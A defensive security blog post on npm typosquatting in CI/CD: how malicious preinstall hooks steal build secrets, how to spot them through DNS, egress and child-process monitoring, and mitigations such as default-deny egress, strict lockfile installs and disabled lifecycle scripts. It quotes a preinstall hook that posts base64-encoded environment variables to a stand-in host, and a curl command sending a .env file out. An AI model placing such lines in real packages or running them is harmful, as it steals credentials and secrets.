Catching Pre-Install Hooks: Defeating NPM Typosquatting in CI/CD
Threat actors are stealing environment variables before your build finishes—here is how to catch their pre-install hooks on the wire.

A developer fat-fingers a dependency name in a configuration file on a Tuesday afternoon. By the time the continuous integration job fails three minutes later, the cloud production credentials for the entire engineering organization have already been posted to a listener in St. Petersburg. The blast radius is catastrophic. Build runners possess identity access management roles capable of provisioning core infrastructure. They hold code signing certificates. They store database passwords in plaintext memory.
This is the reality of modern supply chain attacks targeting the build pipeline. The attacker does not care if the application actually compiles. They do not care about persistence. They only need their payload to execute during the dependency resolution phase. Effective npm typosquatting detection requires abandoning the idea that the build environment is a safe zone. You must treat the continuous integration runner as a hostile environment from the moment a pipeline starts.
Anatomy of a Poisoned Package
The Node Package Manager ecosystem supports lifecycle scripts that allow authors to run arbitrary commands at various stages of the installation process. The most dangerous of these is the preinstall hook. When a developer or a build runner executes an installation command, the package manager checks the configuration file of every fetched dependency. If a preinstall script is defined, the engine executes it with the privileges of the running user.
The IconBurst Blueprint
Attackers abuse this mechanism heavily. Campaigns like IconBurst flooded the public registry with hundreds of squatted packages mimicking popular front-end libraries. These malicious packages did not contain complex reverse shells. They did not drop compiled binaries to disk. They contained a few lines of native JavaScript designed to read local environment variables and transmit them to a remote server.
"preinstall": "node -e 'require(\"http\").request(\"http://malicious.example.com/?d=\" + Buffer.from(JSON.stringify(process.env)).toString(\"base64\")).end()'" — Typical malicious package.json excerpt
That single line is enough to compromise a build environment. The script executes natively within the Node environment. It reads the variables directly from memory. It sends the encoded string over the wire before the developer even realizes the dependency installation failed.
The Egress Race Condition
Security teams often rely on software composition analysis tools to catch vulnerable or malicious dependencies. The fatal flaw in this architecture is timing. Most legacy scanners evaluate the environment after the package manager completes its installation phase. Some run alongside the installation process in a separate container.
By the time the scanner downloads the latest vulnerability signatures, the damage is already done. Calculating dependency hashes takes time. Cross-referencing those hashes with threat intelligence feeds adds further delay. The preinstall hook fires instantaneously upon package retrieval. The exfiltration occurs in milliseconds.
This race condition heavily favors the adversary. The attacker does not need to bypass endpoint detection and response agents on a developer workstation. They simply exploit the ephemeral nature of the build runner. They grab the short-lived access tokens injected into the environment for deployment tasks. They disappear before the security tooling raises a single alert.
Catching the Network Tells
Profiling Ephemeral Egress
Build runners exhibit highly predictable network behavior. They fetch source code from an authorized version control system. They pull dependencies from known package registries. They push compiled assets to an internal storage bucket. Any deviation from this baseline is a high-confidence signal of compromise.
When a typosquatted package attempts to exfiltrate data, it must initiate an outbound connection. This usually begins with a DNS resolution request for an unregistered or newly observed domain. Monitoring the DNS queries originating from your continuous integration subnet is the first line of defense against these automated theft campaigns.
Anomalous Child Processes
The actual exfiltration often relies on native system utilities rather than custom networking code. The package manager spawns a Node process. The Node process spawns a shell environment. The shell executes a data transfer utility. This execution chain is highly irregular for a standard software build.
process.command_line: "/bin/sh -c curl -X POST -d @.env https://exfil.example.com" — EDR telemetry capturing malicious exfiltration
While some complex native modules might invoke a shell to run a compilation toolchain, they rarely invoke data transfer utilities aimed at unknown external IP addresses. Alerting on unexpected child processes spawned by the package manager is critical for spotting these behavioral anomalies before the runner terminates.
Triaging Legitimate Telemetry vs Malicious Exfiltration
Not every outbound network request during an installation phase is malicious. The modern web development ecosystem is heavily instrumented. Popular testing frameworks and frontend utilities frequently phone home to report installation metrics. They occasionally download platform-specific compilation binaries from third-party hosting providers.
Differentiating between legitimate telemetry and credential theft requires inspecting the payload shape. Legitimate tools communicate with established infrastructure. They send hardware architecture details. They report basic installation success rates. They utilize well-documented application programming interfaces.
Malicious exfiltration looks fundamentally different on the wire. The payloads are often base64 encoded strings appended directly to query parameters. They contain serialized environment objects brimming with authentication tokens. The destinations are often dynamic DNS providers. The endpoints are frequently raw IP addresses hosted on bulletproof infrastructure. Defenders must build strict allowlists for known telemetry endpoints and aggressively investigate anything that falls outside those bounds.
The Defender's Playbook
Stopping these attacks requires restricting the operational capabilities of the build runner. The most effective control is network isolation. Ephemeral build nodes should operate in dedicated subnets with strict default deny outbound policies. Network access should only be granted to approved version control systems. Egress should only be permitted to designated artifact registries.
Enforcing Lockfile Strictness
Development teams must enforce the use of immutable installation commands. The standard installation command resolves dependencies dynamically. It actively updates the configuration file during the build. This behavior is incredibly dangerous in a continuous integration environment. Build pipelines must exclusively use commands that strictly adhere to the existing lockfile architecture. If a developer accidentally types a typosquatted package name locally, the strict installation command will fail in the pipeline because the malicious package hash will not match the established cryptographic signature.
Disabling Lifecycle Scripts
Organizations should disable lifecycle scripts globally across all build systems. The package manager allows administrators to ignore these scripts via a simple configuration flag. This breaks a small subset of packages requiring native compilation. It completely eliminates an entire class of supply chain attacks. When scripts are absolutely necessary for specific internal modules, they should be isolated into separate build steps and heavily monitored by endpoint detection agents.
The takeaway
The continuous integration pipeline is a prime target because it acts as the gateway to production infrastructure. Attackers know that security teams often treat build runners as trusted internal entities. They exploit the fact that these ephemeral machines are granted broad access to secrets and cloud environments with minimal behavioral oversight. Shifting defense strategies to monitor these systems is no longer an optional architectural enhancement.
Analyzing process execution trees and network egress from a Jenkins node requires the same rigorous forensic mindset as investigating a compromised endpoint. Whether you are tracking identity failures in MailSleuth.AI or threat hunting through CloudTrail logs for stolen build secrets, the methodology remains constant. Assume the environment is hostile. Constrain its capabilities. Watch the wire.
We dissect phishing campaigns and email infrastructure so you don't have to.


